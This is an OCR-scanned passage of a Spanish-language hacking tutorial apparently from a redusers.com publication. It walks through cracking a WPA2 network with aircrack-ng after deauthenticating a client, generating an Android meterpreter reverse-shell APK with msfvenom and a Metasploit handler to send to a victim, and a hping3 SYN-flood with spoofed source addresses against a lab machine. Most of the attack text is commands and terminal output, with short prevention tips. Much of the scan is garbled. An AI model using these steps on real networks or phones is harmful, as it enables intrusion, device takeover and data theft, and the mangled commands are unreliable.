que pronto formará parte de su curriculum vitae. cual el pentester puede realizar un completo 
Algunas de las tantas herramientas más análisis sobre la propia red. Con este recurso 
utilizadas para hackear redes inalámbricas será sencillo obtener credenciales de servicios 


son, sin dudas, Aircrack-ng y AirSlax, aunque WEP, WPA y WPA2. 


root@bt: ~ - Shell No. 2 - Konsole 


Session Edit View Bookmarks Settings Help 


Aircrack-ng 1.1 r1738 
[00:00:26] 1039995 keys tested (39519.65 k/s) 
KEY FOUND! [ sky sign ] 


4 37 9D 


Master Key : D3 El F7 D6 17 2C 8 2 
F 7 B3 18 66 


C AO 04 BB 76 14 
5F BF 76 4E A3 CF 7F 48 71 23 19 76 CO 
Transient Key : 87 C8 AF 1E FB 30 7F 7D 44 EB 6B 1E 72 8B DA CE 

DA 72 C1 AC 98 5D 40 9C 9C AD 40 7E 86 64 3B 79 
F7 BB 13 38 61 FO D3 BE 9A 33 29 16 DC F8 A4 1B 


C3 8C 7B 52 6F 2E BO D4 D9 42 C9 4C 24 42 30 D2 


EAPOL HMAC : 34 5C E5 68 7B 1C 2F 5C D7 B7 5B 50 A2 A3 E3 86 


Quitting aircrack-ng... 








Shell que muestra AirCrack: 
herramienta más utilizada para realizar 
hacking de redes inalámbricas 


128 | redusers.com 


Modos de seguridad 
Debemos saber que Aircrack-ng permite realizar potentes auditorias 
hacia los servicios WEP, WPA y WPA2, a menudo conocidos tambien 


como modos de seguridad en redes WiFi. 


WEP 

(Wireless Equivalent 
Privacy) 

Es un mecanismo de cifrado que 
permite definir un conjunto de 
claves para cada usuario de la 
red inalámbrica. Conforme a lo 
especificado en la norma, WEP 
emplea el algoritmo RC4 con una 
clave de 40 bits o de 128 bits, la 
misma que se utiliza para cifrar 
los datos antes de transmitirlos a 
través de ondas. Si una estación 
recibe un paquete que no está 
cifrado con la clave adecuada, 
este es rechazado y no se envía al 
host, lo que impide el acceso no 
autorizado y el espionaje. 


Con 


Inicio / Router / Wi-Fi / Seguridad 


SEGURIDAD 


Banda de radio: 


Seleccione la red Wi-Fi 


seguridad Wi-Fi 


Cifrado de datos: 


WPA clave pre-compartida 


WPA 

(WiFi Protected Access) 
Fue creado por Alianza WiFi. Los 
datos utilizan el algoritmo RC4 con 
una clave de 128 bits y un vector 
de inicialización de 48 bits. Una de 
las mejoras más sobresalientes 
sobre su predecesor WEP 

es TKIP (Temporal Key Integrity 
Protocol, protocolo de integridad 
de clave temporal), el cual 
consiste en el cambio dinámico 
mientras se utiliza el sistema. 
Cuando se combina con vectores 
de inicialización mayores, hace 
considerablemente más difícil 
realizar ataques para la obtención 
de llaves, como ocurre con WEP. 


CABLE MÓDEM 


Mezcla de WPA-PSK/WPA2-PSK 


TKIP+AES © 


Introduzca la clave para estar entre 8 y 63 caracteres ASCII, o 64 dígitos hexadecimales. 


Pre-Shared Key: 


intervalo de renegociacion de clave 
WPA: 


Los digitos hexadecimales 
(0-9, AF y un a-f son válidas) 


© ASCII 


(todos los caracteres imprimibles son válidos) 





WPA2 

(WiFi Protected Access 2) 
También conocido como 

IEEE 802.111, se trata de una 
enmienda en la seguridad del 
estándar 802.11 (WPA). WPA2 
establece medidas estandar 
de seguridad para redes 
inalambricas. Ademas, termina 
de reemplazar por completo 

el sistema de seguridad WEP, 
que carecia de la seguridad 
suficiente, y sustituye al WPA. 
Introduce el CCMP, una nueva 
forma de encriptación basada 
en cifrado por bloques AES con 
gran seguridad. 


TELEFONÍA 


Imagen que muestra 
el área del modo de 
seguridad en un router 
doméstico. 
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Ataque WPA/WPA2 


El ataque a una red inalámbrica se puede efectuar tanto para WEP como 
para WPA o WPA2. El ataque a la seguridad de la red WiFi que se propone 
a continuación será para el modo de protección WPA2 (ya que para WPA 
es una estructura similar) desde Kali Linux: 


File Edit View Search Terminal Help 
costos :-~# iwconfig 


Lo no wireless extensions. 


IEEE 802.11bgn ESSID:"NETGEAR64” 


Mode:Managed Frequency:2.452 GHz Access Point: CO:FF:D4:91:49:DF 
Bit Rate=57.8 Mb/s Tx-Power=20 dBm 

Retry long limit:7 RTS thr:off Fragment thr:off 

Power Management:on 

Link Quality=47/79 Signal level=-63 dBm 

Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:90 

Tx excessive retries:0 Invalid misc:8 Missed beacon:9 


etho no wireless extensions. 


root@kali:~# 





Debe contar con un adaptador de red inalámbrico, el cual será detectado por 
el sistema tras escribir el comando iwconfig desde la terminal de Kali Linux. El 
nombre de su tarjeta de red inalámbrica en este caso es: wlanO. 


root@kali: ~ 
File Edit View Search Terminal Help 


root@kali:~# airmon-ng start wlan8 
‘ls: cannot access '/sys/class/ieee88211/': No such file or directory 


Found 2 processes that could cause trouble. 
If airodump-ng, aireplay-ng or airtun-ng stops working after 
a short period of time, you may want to run ‘airmon-ng check kill’ 


PID Name 
927 NetworkManager 
976 dhclient 


PHY Interface Driver Chipset 


phys wlan8 ath9k htc Atheros Comunications, Inc. AR9271 882.11n 


(mac88211 monitor mode vif enabled for [phy8]wlan®é on [phye [uLanemon)] 
(mac88211 station mode vif disabled for [phy8]wlan8) 





Acto seguido, deberá setear la interfaz WiFi en modo monitor, con el objetivo de permitirle 
detectar (escuchar) las redes inalámbricas que se encuentran alrededor (incluso permite realizar 
una inyección de paquetes hacia el objetivo). Para hacerlo, ejecute: #airmon-ng start wlan0 (se 
sugiere cambiar wlanO por el nombre de su interfaz de red wireless). Note que, en este caso, la 
interfaz en modo monitor es: wlanOmon. 
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File Edit View Search Terminal Help 
root@keli:~# airdump-ng wlan®mon 


CH 14 ][ Elapsed: 30 s [ 2018-11-20 00:23 
BSSID PWR Beacons Data, #/s CH MB CIPHER AUTH ESSID 


FC:BB:97:9E:7D:<12 -1 2 o 4 = <length: 8> 
:7D:D4:B1:9D 6 54e. WPA2 CCMP 
E4:83:99:10:DD:25 -990 18 23 1 54e  —WPA2 TKIP Mired 


BSSID STATION PWR Rate Lost Frames Probe 


FC:8B:97:9E:7D:12 DC:71:44:93:4B:2E 2 
(no associated) 50:85:69:54:41:0F 4 Cholo.movistar 
B4:52:7D:D4:B1:9D E0B:2A:82:DA:DA:A4 3 





Utilice el comando #airodump-ng wlanOmon para escuchar las redes disponibles y determinar 

cuál de todas será el objetivo del ataque. En este caso nos enfocaremos en la red llamada 

Hogar, que posee un cliente conectado (señalado en la esquina inferior izquierda con el BSSID: 
B4:52:7D:D4:B1:9D). Gracias a este cliente será posible extraer lo que se conoce como handshake. 


=| Other Linux 3.x kernel 64-bit - VMware Player (Non-commercial use only) 
Player €] il Y on Q S} 
Applications v Places ~ E) Terminal ~ 


File Edit View Search Terminal Help 
root@kali:~# airdump-ng --bssid B4:52:7D:D4:B1:9D --channel 6 -w red hogar wlan8mon 
CH 6 ][ Elapsed: 12 s [ 2018-11-20 00:27 


BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 


B4:52:7D:D4:B1:9D -37 100 211 9 8 6 54e. WPA2 CCMP PSK Hogar 


BSSID STATION PWR Rate Lost Frames Probe 


B4:52:7D:D4:B1:9D E0:2A:82:DA:DA:A4 -50 Be - Be 3) 15 
root@kali:~# 





Antes de obtener el llamado handshake, utilice el comando #airodump-ng - -bssid 
B4:52:7D:D4:B1:9D --channel 6 -w red_hogar wlanOmon para poder ver la forma en 
que actúa el AP (Hogar) y cuánto tráfico está generando. 


La mejora más importante de WPA2 sobre WPA fue el uso del 
Estándar de Cifrado Avanzado (AES), el que fue aprobado por el 
gobierno de Estados Unidos para cifrar la información clasificada 
como de alto secreto. 
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Para obtener el handshake, 
es necesario desautenticar 
al cliente que está 
conectado a la red que 

se desea atacar. Una 

vez que el cliente sea 
desconectado e intente 
conectarse otra vez, se 
obtendrá el handshake 
para luego crackear. 

Esto se hace mediante la 
herramienta aireplay-ng 
de la siguiente manera: 
#aireplay-ng -0 3 -a 
B4:52:7D:D4:B1:9D -c 
E0:2A:82:DA:DA:A4 
wlanOmon. Con esta 
secuencia se ha dado la 
orden de interceptar al AP 
Hogar, de modo que se 
desautenticara al cliente 
conectado a dicha red. 


Luego de una 
desautenticacion exitosa, 
la intercepción y la 
obtención del handshake, 
intente realizar un ataque 
por fuerza bruta offline, 
usando #aircrack-ng red _ 
hogar-01.cap -w rockyou. 
txt. Este comando realiza 
un crack con rockyou.txt al 
archivo red_hogar-01.cap, 
el cual fue creado mediante 
airodump-ng. 


El handshake es un proceso 
automatizado de negociación 
que establece de forma 
dinámica los parámetros de 

un canal de comunicaciones 
entre dos entidades antes de 
que comience la comunicación 
por el canal. Al obtenerlo, es 
posible realizar un ataque 

por fuerza bruta offline para 
intentar crackear la contraseña. 
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EN a TE 
BSSID 


B4:52:7D:D4:B1:9D 


BSSID 


B4:52:7D:D4:B1:9D 


[ WPA handshake: B4:52:7D:D4:B1:9D 


Elapsed: 3 mins ][ 2818-11-28 88:27][ WPA handshake: B4:52:7D:D4:B1:9D 


PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 


-34 168 1876 52 8 6 54e. WPA2 CCMP PSK Hogar 


STATION PWR Rate 


Se - 1 2 


Lost Frames Probe 


E8:2A:82:DA:DA:A4 -32 


5 Other Linux 3.x kernel 64-bit - VMware Player (Non-commercial use only) 


Player v» 


ISHA 


Ay plications 


y Place: 


File Edit View Search Terminal Help 
root@keli:~# aireplay-ng -0 3 -a B4:52:7D:D4:B1:9D -c E9:2A:82:DA:DA:4A wlan8mon 


80:22:16 
90:22:17 
80:22:17 
90:22:18 


root@kali: 


Waiting for beacon frame (BSSID: B4:52:7D:D4:B1:9D) on channel 6 

Sending 64 directed DeAuth. STMAC: [E0:2A:82:DA:DA:A4][39|64 ACKs] 
Sending 64 directed DeAuth. STMAC: [E0:2A:82:DA:DA:A4][308|61 ACKs] 
Sending 64 directed DeAuth. STMAC: [E8:2A:82:DA:DA:A4][15|71 ACKs] 


~# 


EZI Other Linux 3.x kernel 64-bit - VMware Player (Non-commercial use only) 


Pays + | fy UA 


root@kali: ~ 
File Edit View Search Terminal 


Aircrack-ng 1,2 re2 
34] 58372 keys tested (1642.20 k/s) 
KEY FOUND! [ 12345678p 
Master Key : 84 CD 52 89 21 F4 CB D6 35 CB 9C E9 
:-59 66 91 4E EA 11 9B F8 3E SC 50 B2 
Transient Key : 4B E4 C3 EE 76 04 A5 72 96 60 B8 6C 
53 83 OD 4F D9 3D A2 Fl AC 88 7A 56 


45 BA A5 11 E8 1D 79 AA 33 EF 01 97 
SE Fl 53 57 1C 34 5A 20 61 81 DD 75 


EAPOL HMAC : CC FB D6 AS ED CA 95 D8 43 C5 06 DO 





Herramientas de prevención 


Para prevenir ataques de esta naturaleza, se aconseja proteger 
de manera adecuada el dispositivo central de la red inalámbrica, a 
través del uso de contraseñas fuertes. La configuración de dicho 
dispositivo se explica en el siguiente proyecto. 


Hacking 
de dispositivos moviles 


En este proyecto se propone mostrar cómo se lleva a cabo un ataque mediante APK 
para dispositivos con SO Android, con el fin de proceder al robo de datos. También 
se lista un conjunto de medidas para proteger la información y evitar ser atacado. 





Dispositivos móviles Sistemas Android e IOS 


Un claro ejemplo de dispositivos móviles son las Actualmente, dispositivos con sistemas 
tablets y los smartphones, que no se encuentran Android e ¡OS son atacados de diversas 


exentos de ataques; por el contrario, hoy en formas. Este proyecto se enfoca en explicar 
día son los equipos más vulnerables. Muchos la manera más recurrente de hacerlo sobre 
teléfonos móviles no son ajenos a los virus que dispositivos con Android, mediante la 
circulan por Internet, ya sea en la descarga de creación de APKs. 


alguna app o a través 
de algún mensaje 
que se distribuye 

por un sistema 

de mensajería 
instantánea. 





















OD Spyzie Tablero PANEL DE CONTROL SPYZIE 
información cel Dispositivo Extra Atus Arte Unima Unicación Canocidn 


Ivy 
LJ Miccelo del flispestve Gaay S? HD velde ame 100% 
9 Moe Dayton Ve ley 
n CONMÉL 


mute(s) aies C) 


Nueva Llamada 


VHS ^y A 
18 200 1/1 








Nuevo mensaje 
$% Aunque m tengo tempo 


Detección de Cambio de Tarjeta SIM 







Actividsddor del Telátono 
Spyzie es una 
herramienta popular 
para el espionaje de 
teléfonos inteligentes 
que nos mantiene 
informados sobre un 
dispositivo Android. 


APK 
(Android Application Package) ANDROID 


Es un paquete de aplicaciones para sistemas Android que 


se usa con el objetivo de distribuir e instalar componentes E 
empaquetados para teléfonos inteligentes y tablets, 

así como también algunas distribuciones destinadas a 

computadoras personales de escritorio y portátiles. 
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Ataque mediante APK 


Para crear una APK (archivo ejecutable de aplicaciones para Android) desde 
la consola de Kali Linux, a menudo se utiliza la siguiente secuencia de comandos: 


Msfvenom es una herramienta El parámetro reverse_tcp, consiste El flag R > <Nombre_apk>.apk 
de Metasploit que surge de una en un stager, que se ha seleccionado sirve para especificar el nombre 
combinación de Msfpayload y con el fin de permitirle reservar una con el que quedará alojada 
Msfencode. El parámtero o flag -p zona en memoria y, por consiguiente, la APK que desea crearse. 
especifica que se hará uso de un realizar una conexión. En esta zona es Opcionalmente, se puede colocar 
Payload con el cual será posible donde se guarda el Payload que va a la ruta de almacenamiento; por 
atacar el teléfono objetivo. generarse. ejemplo, sobre el Escritorio. 


#msfvenom -p android/meterpreter/reverse_tcp LHOST=Dirección_IP LPORT=8888 R > Nombre_apk.apk. 


El payload (en este caso: meterpreter) es la parte que LHOST y LPORT son, basicamente, la 


Sa e ney an pga la a direccion IP y el puerto donde el atacante va a 
O A AS recibir los datos enviados remotamente por el 


ejecuta después del proceso de explotación de una teléfono de la víctima. El puerto recomendado 
vulnerabilidad en un sistema operativo. Este término es es el 8080 o el 8888, aunque por default se 


el diminutivo para metaintérprete, el cual se ejecuta tiene 6l 4444. 
completamente en memoria. 


A continuación, se explica la forma de ejercer un ataque 
por medio de una APK para teléfonos Android. 


Para empezar, debe revisar que : 
; e root@kali: ~ 
su sistema Kali Linux se encuentre 
actualizado. Una vez hecho File Edit View Search Terminal Help 
esto, proceda a abrir la terminal root@kali:~# service postgresql start G 
e ingrese el comando: #service root@kali:~# fj 


postgresql start. Se iniciará la 
consola de msfconfig. 





root@kali: ~ 


File Edit View Search Terminal Help Verifique la direccion 


root@keali:~# service postgresql start . 
root@kali:~# ifconfig IP predeterminada 
etho: flags=4163<UP BROADCAST, RUNNING,MULTICAST> mtu 1500 del dispositivo desde 


inet6 fe80: :3122: 4799: d660:cel5 prefixlen 64 scopeid @x20<Link> el que desea realizar 
ether 00:0c:29:26:77:f9 txqueuelen 1000 (Ethernet) el ataque. Para 

RX packets 815 bytes 935695 (913.7 KiB) 

RX errors € dropped © overruns © frame 0 hacerlo, basta con 
TX packets 381 bytes 27687 (27.0 KiB) escribir el comando 
TX errors © dropped O overruns © carrier © collisions 0 #ifconfig, que 


lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 mostrara en pantalla 


inet 127.0.0.1 netmask 255.0.0.0 f 
inet6 ::1 prefixlen 128 scopeid 0x10<host> un conjunto de datos 


loop txqueuelen 1000 (Local Loopback) de direccionamiento 
RX packets 529 bytes 148469 (144.9 KiB) 

RX errors © dropped © overruns O frame 0 de la PC actual. E 
TX packets 529 bytes 148469 (144.9 KiB) Registre la dirección 
TX errors © dropped O overruns © carrier © collisions 0 IP que allí aparece 


root@kali:~# pues se utilizara mas 
adelante. 
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root@kali:~# msfvenom -p android/meterpreter/reverse tcp LHOST=192.168.232.128 LP 
ORT=8888 R> PRUEBA.apk 

No platform was selected, choosing Msf::Module::Platform::Android from the payloa 
d 


No Arch selected, selecting Arch: dalvik from the payload 
No encoder or badchars specified, outputting raw payload 


Payload size: 8818 bytes . 
a n Note que se ha creado un Payload 


root@kali:~# de apenas unos cuantos bytes. 





Es momento de crear la APK, que sera instalada en el dispositivo de la victima para efectos 
de ataque. Esto se consigue ingresando lo siguiente: #msfvenom -p android/meterpreter/ 
reverse_tcp LHOST=IP LPORT=8888 R > Nombre_apk.apk. En este caso, sustituya la 
palabra IP por la direccion antes registrada (que se obtuvo al escribir la orden ifconfig), 

y la palabra Nombre_apk, por un nombre valido, como: PRUEBA (.apk). 


Fttttttt 
FEFTFFFFFF FFF FFT TT 
Fttttttt 
Fttttttt 
Fttttttt 


Code: 00 00 00 00 M3 T4 SP LO 1T FR 4M 3W OR K! V3 R5 IO N4 00 00 00 BO 
Aiee, Killing Interrupt handler 

Kernel panic: Attempted to kill the idle task! 

In swapper task - not syncing 


=[ metasploit v4.16.15-dev 
+ -- --=[ 1699 exploits - 968 auxiliary - 299 post 
+ -- --=[ 503 payloads - 48 encoders - 18 nops 
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp 


msf > use multi/handler 
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse tcp 
AYLOAD => android/meterpreter/reverse tcp 





Ahora debe crear la conexion con el telefono objetivo, mediante la consola de Metasploit. 
Para poder ingresar, debe teclear el comando #msfconsole. Una vez dentro de la interfaz, 
escriba la orden msf >use multi/handler. Luego, ingrese: 

msf>set PAYLOAD android/meterpreter/reverse_tcp. Como podrá notar, la configuración 
del handler (conexión) ha iniciado. 


msf exploit(handier) > show options 
Module options (exploit/multi/handler): 


Name Current Setting Required Description 


Payload options (android/meterpreter/reverse tcp): 


Name Current Setting Required Description 


LHOST The listen address Explore las opciones 
LPORT 4444 yes The listen port de configuración del 
handler mediante 


la orden msf>show 
options. Desde este 
Id Name espacio, podrá ver 
e eme la configuración por 
ll A default. Por lo tanto, 
se sugiere cambiar 
msf exploit(handler) > IP y PUERTO. 


Exploit target: 
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msf exploit(handler) > set LHOST 192.168.232.128 
HOST => 192.168.232.128 
sf exploit(handler) > set LPORT 8888 
LPORT => 8888 
f exploit(handier) > show options 


odule options (exploit/multi/handler): 


Name Current Setting Required Description 


Payload options (android/meterpreter/reverse tcp): 


Name Current Setting Required Description 


LHOST 192.168.232.128 yes The Listen address 
LPORT 8888 yes The Listen port 


Exploit target: 
Id Name 


8 Wildcard Target 


sf exploit(handler) > J 


Module options (exploit/multi/handler): 


Name Current Setting Required Description 


Payload options (android/meterpreter/reverse tcp): 


Name Current Setting Required Description 


LHOST 192.168.232.128 yes The Listen address 
LPORT 8888 yes The Listen port 


Exploit target: 


Id Name 


© Wildcard Target 


msf exploit(handler) > exploit -j 
[*] Exploit running as background job 6. 


[-] Handler failed to bind to 192.168.232.128:8888:- - 
[*] Started reverse TCP handler on 68.8.8.8:8888 
msf exploit(handler) > 





root@kali:~# ls 


Desktop Downloads Music PRUEBA.apk Templates 
Documents Escritorio Pictures Public Videos 


rootoOval.:-# cp PRUEBA.apk Desktop 


rootokeli:-# cd Desktop 
root@®kali:~/Desktop# ls 
PRUEBA. apk 
root@kali:~/Desktop# 





El cambio de IP y PUERTO 
se consigue mediante las 
siguientes órdenes: 
setLHOST 
192.168.232.128 

set set LPORT 8888. 
Finalmente, escriba la 
orden: >show options. 


Para concluir, ingrese 
exploit —j, que permitirá 
ejecutar el exploit. 


Note que, tras haber hecho 

uso del Stager reverse_tcp, el 
sistema se quedará a la escucha 
de la próxima conexión que se 
establezca. 


Como se puede apreciar, 
una vez generada la APK, 
esta se puede almacenar 
en alguna ubicación 

del disco duro (como el 
Escritorio), para después 
enviar a la víctima. 


Opcionalmente, se puede firmar la APK, en cuyo caso se requiere el uso de herramientas como SignApk, 
que puede descargarse de: www.mediafire.com/file/¡d02yq5s2lv9pqn/SignApk.rar. 


El envío se puede realizar mediante la herramienta SimpleHTTPServer. 
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Como protegernos 


Una de las caracteristicas 

de Android es que permite 
descargar e instalar 
aplicaciones desde fuera de los 
canales oficiales (como Google 
Play), lo que supone un riesgo 
adicional para el móvil, razón 
por la que es importante poner 
la lupa sobre cada aplicación. 
Las recomendaciones son: 


E Descargar aplicaciones solo de canales oficiales, como 
Play Store, fuentes y desarrolladores de confianza. 

E Consultar los comentarios de quienes ya las han usado, 
como elemento de referencia. 

E Revisar los permisos que requiere una aplicación. Si estos 
resultan excesivos, no sería conveniente proceder a la 
instalación. 

E Contar con un antivirus en el terminal, ya sea gratuito o pago. 
En la página oficial de la OSI (Oficina de Seguridad del 
Internauta) se pueden consultar algunas alternativas válidas. 


MONA 
de Seguridad 
del internauta 


Ponte al dia Protéoete Recursos Soporte técnico Juegos educativas Internet Segura tor Kids 


| 
Linea de ayuda 


En la página oficial 
de la OSI es posible 
encontrar diferentes 

opciones de 
antivirus validados por 
este organismo. 


Entre las herramientas 
recomendadas para evitar 
ataques a dispositivos móviles, 
se encuentran las aplicaciones 
como Conan. Se sabe que las 
aplicaciones son las principales 
portadoras de virus en cualquier 
dispositivo, lo que ocasiona 
diversos inconvenientes 

tales como: suscripciones 
involuntarias a servicios de SMS 
premium, robo de información 
o, incluso, contaminación 

por anuncios maliciosos. 





EN CIBERSEGURIDAD 


+incibe_ 


NSTITU EERSEGLARIDAD 


Las herramientas lupa, 
como Conan, sirven para 
revisar las aplicaciones 
presentes en dispositivos 
Android y permiten 
identificar aquellas 
potencialmente peligrosas. 
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Ataque DOS mediante 
herramientas GNU-Linux 


En este proyecto demostramos cómo llevar a cabo un ataque DOS 
mediante herramientas GNU-Linux. Se explica una de las diversas formas 


en que los atacantes pueden efectuar este tipo de prácticas. 





HPING3 desde Kali Linux 


HPing3 es una herramienta de uso libre distribuida 
bajo licencia GNU, que a menudo se emplea para 
generar paquetes IP a discreción; esto quiere 
decir que permite crear y analizar paquetes TCP/ 
IP. HPing3 no solo es capaz de enviar paquetes 
ICMP, sino que también puede enviar paquetes 
TCP, UDP y RAW-IP. 

Esta herramienta sera utilizada en esta practica 
con el objetivo de generar lo que se conoce 
como un SYN FLOOD ATTACK: un tipo particular 
de ataque donde no se cumple una condicion 
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7 
S o ~ 


SY A 
4 TN 


denegación de servicios 

2s aquel en el que una cantidad 
considerable de sistemas o conexiones 
intentan interceptar un único objetivo, 
provocando la caída del servicio en el 
sistema afectado. Hay que entender que 
la sobrecarga de mensajes entrantes 
sobre el sistema objetivo forzará su cierre, 
con lo cual se denegará el servicio a los 
usuarios legítimos. 


de consulta TCP/IP habitual. Con frecuencia, 
este se genera dejando al servidor a la espera 
del ACK final, lo que provoca que, si se realizan 
miles de consultas de este tipo, el equipo remoto 
colapse por falta de recursos. 

El propósito de este proyecto es generar un 

alto número de inicios de conexión sin finalizar, 
para dejar al servidor a la espera del cierre de la 
conexión y provocar así la caída inminente del 
servicio por falta de recursos físicos para soportar 
multiples conexiones. 


Requerimientos para un ataque DOS 


Las herramientas necesarias E Kali Linux: sistema bajo el que se realizará el ataque. 
para llevar a cabo la = Metasploitable: herramienta de GNU-Linux que puede 


demostración en el presente 
proyecto son: 


El ataque DOS 


oot@kali:-# g 
at ho Link encap:Ethernet HWaddr 08:00:27:08:86:af 


descargarse desde: https://information.rapid7.com/ 

download -metasploitable-2017.html. Se trata de una máquina 
virtual basada en Linux que contiene varias vulnerabilidades 
intencionales para su explotación. Metasploitable es, 
esencialmente, un laboratorio de pruebas de penetración. 

Las credenciales de acceso a esta herramienta son: Usuario: 
msfadmin; Contraseña: msfadmin. 

WireShark: herramienta (analizadora de protocolos) que permite 
verificar las consultas mediante el uso de diversos comandos. Se 
puede descargar desde su página oficial: www.wireshark.org. 


nsfadmin@metasploitable:~ g 
etho Link encap:Ethernet HWaddr 08:00:27:e8:30:52 


inet addr:192.168.56.101 Bcast:192.168.56.255 Mask:255.255.255.0 ines addr: 192.168.556.102 Beast: 192.268.560.295, Mazk:209.209.£99.0 
inet6 addr: fe80::a00:27ff:fe08:86af/64 Scope:Link A ORES ag LA EAI a gee Sat Lat wall pac 
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 


RX packets:3 errors:0 dropped:0 overruns:0 frame:0 


UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 
RX packets:2 errors:0 dropped:0 overruns:0 frame:0 
TX packets:29 errors:0 dropped:0 overruns:0 carrier:0 


TX packets:46 errors:0 dropped:0 overruns:@ carrier:0] collisions:0 txqueuelen:1000 


collisions:0 txqueuelen:1000 


RX bytes:1188 (1.1 KB) TX bytes:3638 (3.5 KB) 


RX bytes:1466 (1.4 KiB) TX bytes:8294 (8.0 KiB) Base address:0xd010 Memory:f0000000-f0020000 





1 Comience explorando la dirección IP tanto de la máquina que contiene Kali Linux, como del 


equipo con Metasploitable. 


En este caso, Kali Linux (atacante) cuenta con la IP: 192.168.56.101, y sobre la máquina con 
Metasploitable (víctima) se tiene la dirección 192.168.56.102. 


botäkali:=-# hping3 192.168.56.102 
.56.102 (ethO 192.168.5 


): NO FLAGS are set, 40 headers + O data bytes 


.168.56.102 ttl=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=4.1 
.168.56.102 tt1=64 DF id=0 sport=0 flags=RA seq=1 win=0 rtt=3.6 
.168.56.102 ttl=64 DF id=0 sport=0 flags=RA seq=2 win=0 rtt=3.6 
.168.56.102 ttl=64 DF id=0 sport=0 flags=RA seq=3 win=0 rtt=3.4 
.168.56.102 ttl=64 DF id=0 sport=0 flags=RA seq=4 win=0 rtt=3.1 


Capturing from ethO [Wireshark 1.12.6 (Git Rev Unknown from unknown)] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


no xo Q.» JFF a aa MO E 


Source 
192.168. 
. 000187000 192. 
. 000380000 192. 
. 000674000 192. 
. 000881000 192. 
.001173000 192. 
.001369000 192. 
.001552000 192. 
. 001832000 192. 





v Expression... Clear Apply Save 


Destination Protocol Length Info 


192.168.56. TCP 
192.168.56. TOP 
192.168. 56. TCP 
192. 168.56. TCP 
192. 168.56. TCP 
192.168. 56. TCP 
192. 168.56. TCP 
192.168.536. TCP 
192.168.56. TCP 


2427-0 [<None>] Win=512 
2428-0 [<None>] Win=512 
2429-0 [<None>] Win=512 
2430-0 [<None>] Win=512 
2431-0 [<None>] Win=512 
2432-0 [<None>] Win=512 
2433-0 [<None>] Win=512 
2434-0 [<None>] Win=512 
2435-0 [<None>] Win=512 


EEEEEELEER 


Proceda a realizar una consulta de conectividad (test TCP) hacia el equipo de la víctima. Para 
hacerlo, escriba la orden #hping3 192.168.56.102 desde la terminal de Kali Linux. A la par, 
abra WireShark y coloque el siguiente filtro: ip.src==192.168.56.101 (consulta por protocolo 
TCP a 54 bits). Verifique los resultados obtenidos en tiempo real, tanto de la terminal, como los 


emitidos por el analizador. 
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oot@kali:~# hping 32.168.56. 
.56.102 (eth0 192.168.56.102): icmp mode set, 28 headers + O data bytes 
.168.56.102 ttl=64 id=13990 icmp _seq=0 rtt=2.3 
.168.56.102 ttl=64 id=13991 icmp seq=1 rtt=2.0 
.168.56.102 ttl=64 id=13992 icmp seq=2 rtt=1.8 
.168.56.102 ttl=64 id=13993 icmp _seq=3 rtt=1.1 
.168.56.102 ttl=64 id=13994 icmp seq=4 rtt=0.8 


Capturing from ethO [Wireshark 1.12.6 (Git Rev Unknown from unknown)] oe 08 8 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


Oom bo xo «> 271 BB aaaf gypse 


Expression... Clear Apply Save 


Source Destination Protocol Length Info 
. 000287000 . 168.56. . 168.56. Echo request 1d=0xe906, 
. 000459000 j .56. . .56. Echo request 1d=0xe906, 
. 001234000 : .56. í .56. Echo request 1d=0xe906, 
. 001419000 : .56. : .56. Echo request id=Oxe906, 
. 001704000 ; .56. 4 .56. Echo request 1d=0xe906, 
. 001887000 ; .56. > .56. Echo request 1d=0xe906, 


. 002088000 ; .56. f 56. Echo request 1d=0xe906, 
. 002266000 . 168.56. . 168.56. Echo request 1d=0xe906, 


ONOS WN- 





Es el turno de hacer un test ICMP. Para esto, ingrese el comando #hping3 -1 192.168.56.102 
desde Kali Linux. En la presente prueba se puede observar una consulta a 42 bytes. 


Nota: desde este paso en adelante, no olvide verificar el filtro 
emitido sobre el cuadro de texto Filter desde WireShark. 


Capturing from ethO [Wireshark 1.12.6 (Git Rev Unknown from unknown)] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


OO oii xo Qe 2% Y a a aF] ms 


i Expression... Save 


Time Source Destination Protocol Length Info 
1 0.000000000 192.168.56.101 192.168.56.102 42 Source port: 1924 Destination port 


| | Iı unreacn 


S 1.000448000 192.168.56.101 192.168.56.102 42 Source port: 1925 Destination port 


1 . ININ Le Y e L " . L . ~ . A rd LFT s- . . A i + ~ j i e -A ' = | i If = achal Lt = - 
7 2.000673000 192.168.56.101 192.168.56.102 42 Source port: 1926 Destination port 
9 3.006602000 192.168.56.101 192.168.56.102 42 Source port: 1927 Destination port 
11 4.006898000 192.168.56.101 192.168.56. 102 42 Source port: 1928 Destination port 


rs 





13 5. 007212000 192. 168.56. 101 192. 168.56. 102 42 Source TET 1929 Destination 
Para efectuar un test UDP, escriba el comando #hping3 -2 192.168.56.102; se obtiene un 
resultado de consulta UDP de 42 bytes. 

Ha llegado al momento de abordar un término crucial en este proyecto: el spoofing, que se 
define como una práctica en la cual un atacante (generalmente, con fines maliciosos o de 


investigación) se hace pasar por una entidad distinta a través de la falsificación de los datos en 
una comunicación. 
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root@kali:=# hping3 -a 1.2.3.4 192.168.56.102 
PING 192.168.56.102 (eth60 192.168.56.102): NO FLAGS are set, 40 headers + O data bytes 


Capturing from ethO [Wireshark 1.12.6 (Git Rev Unknown from unknown)] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


O©eaba 


nox qea» JFF a a aF guys 


- (Expression... Clear Apply Save 


Protocol Length Info 


2511-0 [<None>] Seg=1 Win=512 Len=t 
2512-0 [<None>] Seq=1 Win=512 Len=/ 
2513-0 [<None>] Seq=1 Win=512 Len=í 
2514-0 [<None>] Seq=1 Win=512 Len=1 
[<None>] Seq=1 Win=512 Len=1 


. 000163000 
. 000353000 
. 000599000 
. 000825000 
. 001038000 1.2.3.4 


192.168 
192. 168 
192. 168 
192. 168 





= = = [>] » 4 AO -æ a an —f 


